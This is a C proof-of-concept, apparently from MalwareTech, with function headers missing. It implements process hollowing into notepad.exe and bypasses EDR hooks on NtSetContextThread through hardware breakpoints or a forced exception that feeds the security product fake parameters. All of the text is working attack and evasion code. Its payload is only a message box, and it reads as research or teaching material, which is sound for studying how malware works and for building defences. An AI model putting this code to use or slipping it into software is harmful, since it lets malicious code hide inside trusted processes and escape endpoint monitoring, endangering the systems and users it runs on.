{

HMODULE ntdll = GetModuleHandleA("ntdll.dll");

if (!ntdll)

return FALSE;

NtUnmapViewOfSection = (t_NtUnmapViewOfSection)GetProcAddress(ntdll, "NtUnmapViewOfSection");

if (!NtUnmapViewOfSection)

return FALSE;

NtCreateSection = (t_NtCreateSection)GetProcAddress(ntdll, "NtCreateSection");

if (!NtCreateSection)

return FALSE;

NtMapViewOfSection = (t_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");

if (!NtMapViewOfSection)

return FALSE;

NtSetContextThread = (t_NtSetContextThread)GetProcAddress(ntdll, "NtSetContextThread");

if (!NtSetContextThread)

return FALSE;

NtClose = (t_NtClose)GetProcAddress(ntdll, "NtClose");

if (!NtClose)

return FALSE;

return TRUE;

{

// hardware breakpoints trigger a single step exception

if (e->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) {

// this exception was caused by DR0 (syscall breakpoint)

if (e->ContextRecord->Dr6 & 0x1) {

printf("syscall breakpoint triggered at address: 0x%llx\n",

(DWORD64)e->ExceptionRecord->ExceptionAddress);

// replace the fake parameters with the real ones

e->ContextRecord->Rcx = (DWORD64)g_thread_handle;

e->ContextRecord->R10 = (DWORD64)g_thread_handle;

e->ContextRecord->Rdx = (DWORD64)g_thread_context;

}

// this exception was caused by DR1 (syscall ret breakpoint)

if (e->ContextRecord->Dr6 & 0x2) {

printf("syscall ret breakpoint triggered at address: 0x%llx\n",

(DWORD64)e->ExceptionRecord->ExceptionAddress);

// set the parameters back to fake ones

// since x64 uses registers for the first 4 parameters, we don't need to do anything here

// for calls with more than 4 parameters, we'd need to modify the stack

}

}

e->ContextRecord->EFlags |= (1 << 16); // set the ResumeFlag to continue execution

return EXCEPTION_CONTINUE_EXECUTION;

{

static CONTEXT fake_context = { 0 };

printf("Exception handler triggered at address: 0x%llx\n", (DWORD64)

e->ExceptionRecord->ExceptionAddress);

DWORD64* stack_ptr = (DWORD64*)e->ContextRecord->Rsp;

// iterate first 300 stack variables looking for our fake address

for (int i = 0; i < 300; i++) {

if (*stack_ptr == 0x1337) {

// replace the fake address with the real one

*stack_ptr = (DWORD64)g_thread_context;

printf("Fixed stack value at RSP+(0x8*0x%x) (0x%llx): 0x%llx\n",

i, (DWORD64)stack_ptr, (DWORD64)*stack_ptr);

}

stack_ptr++;

}

// The pointer to our invalid address is in RBX, so replace it with an empty structure

// the RCX member of the context structure being NULL will cause the EDR to skip its check

e->ContextRecord->Rbx = (DWORD64)&fake_context;

return EXCEPTION_CONTINUE_EXECUTION;

// call NtSetContextThread with fake parameters (can be anything but we chose NULL)

NTSTATUS status = NtSetContextThread(NULL, NULL);

if (!NT_SUCCESS(status)) {

printf("NtSetContextThread() failed, error: %x\n", status);

return -1;

}

return 0;

// set an exception handler to handle hardware breakpoints

SetUnhandledExceptionFilter(BreakpointHandler);

// create a new thread to call SetThreadContext in a suspended state so we can modify its own context

HANDLE new_thread = CreateThread(NULL, NULL, SetThreadContextThread,

NULL, CREATE_SUSPENDED, NULL);

if (!new_thread) {

printf("CreateThread() failed, error: %d\n", GetLastError());

return FALSE;

}

// set our hardware breakpoints before and after the syscall in the NtSetContextThread stub

SetSyscallBreakpoints((LPVOID)NtSetContextThread, new_thread);

ResumeThread(new_thread);

// wait until the SetThreadContext thread has finished before continuing

WaitForSingleObject(new_thread, INFINITE);

return TRUE;

// set an exception handler to handle hardware breakpoints

SetUnhandledExceptionFilter(ExceptionHandler);

// call SetThreadContext with an invalid address to trigger exception

if (!SetThreadContext(g_thread_handle, (CONTEXT*)0x1337)) {

printf("SetThreadContext() failed, error: %d\n", GetLastError());

}

return TRUE;

{

BOOL success = FALSE;

PROCESS_INFORMATION pi = { 0 };

STARTUPINFOW si = { 0 };

LPVOID remote_base_addr = NULL;

CONTEXT thread_context = { 0 };

do { // this isn't a loop

// resolve ntdll functions

if (!ResolveNativeApis()) {

printf("Failed to resolve functions from ntdll\n");

break;

}

// create the target process in a suspended state so we can modify its memory and the context of its main thread

if (!CreateProcessW(NULL, image_path, NULL, NULL,

FALSE, CREATE_SUSPENDED, NULL, NULL,

&si, &pi))

{

printf("CreateProcessA() Failed with error: %d\n", GetLastError());

break;

}

// inject ourself into the suspended process

remote_base_addr = InjectProcess(pi.hProcess);

if (!remote_base_addr) {

printf("Failed to map our executable into the hollowed process\n");

break;

}

thread_context.ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER;

// get the context of the main thread in the new process (used to call its entrypoint)

if (!GetThreadContext(pi.hThread, &thread_context)) {

printf("GetThreadContext() Failed with error: %d\n", GetLastError());

break;

}

// new x64 threads start at RtlUserThreadStart with their entrypoint address in the RCX register

thread_context.Rcx = ((DWORD64)&RemoteMain - (DWORD64)GetModuleHandle(NULL)) + (DWORD64)remote_base_addr;

// copy the real NtSetContextThread parameters into global variables so we can set them from our exception handler

g_thread_handle = pi.hThread;

g_thread_context = &thread_context;

if (g_bypass_method == 1) {

printf("Attempting bypass using hardware breakpoints\n");

BypassHookUsingBreakpoints();

} else if(g_bypass_method == 2) {

printf("Attempting bypass using forced exception\n");

BypassHookUsingForcedException();

} else {

printf("invalid g_bypass_method value\n");

return FALSE;

}

// resume the new process' main thread, starting the process

if (!ResumeThread(pi.hThread)) {

printf("Failed to unsuspended process, Error: %d\n", GetLastError());

break;

}

printf("{Injection Successful}\n" \

"%ws\n" \

"Remote Base Address: 0x%xll\n" \

"Remote Thread Start: 0x%xll\n" \

"Remote Entry Point: 0x%xll\n",

image_path,

(DWORD64)remote_base_addr,

(DWORD64)thread_context.Rip,

(DWORD64)thread_context.Rcx);

success = TRUE;

} while (FALSE);

if (success == FALSE && pi.hProcess != NULL)

TerminateProcess(pi.hProcess, 0);

if (pi.hProcess != NULL)

CloseHandle(pi.hProcess);

if (pi.hThread != NULL)

CloseHandle(pi.hThread);

return success;

WCHAR image_path[MAX_PATH];

// bypass method: 1 = hardware breakpoints, 2 = forced exception

g_bypass_method = 2;

// find the full path to notepad.exe

ExpandEnvironmentStringsW(L"%windir%\\system32\\notepad.exe", image_path, MAX_PATH - 1);

// do process hollowing

InjectNewProcess(image_path);

return getchar();

MessageBoxA(NULL, "Process Hollowing POC from MalwareTech", "www.malwaretech.com", MB_ICONINFORMATION);

return 0;

}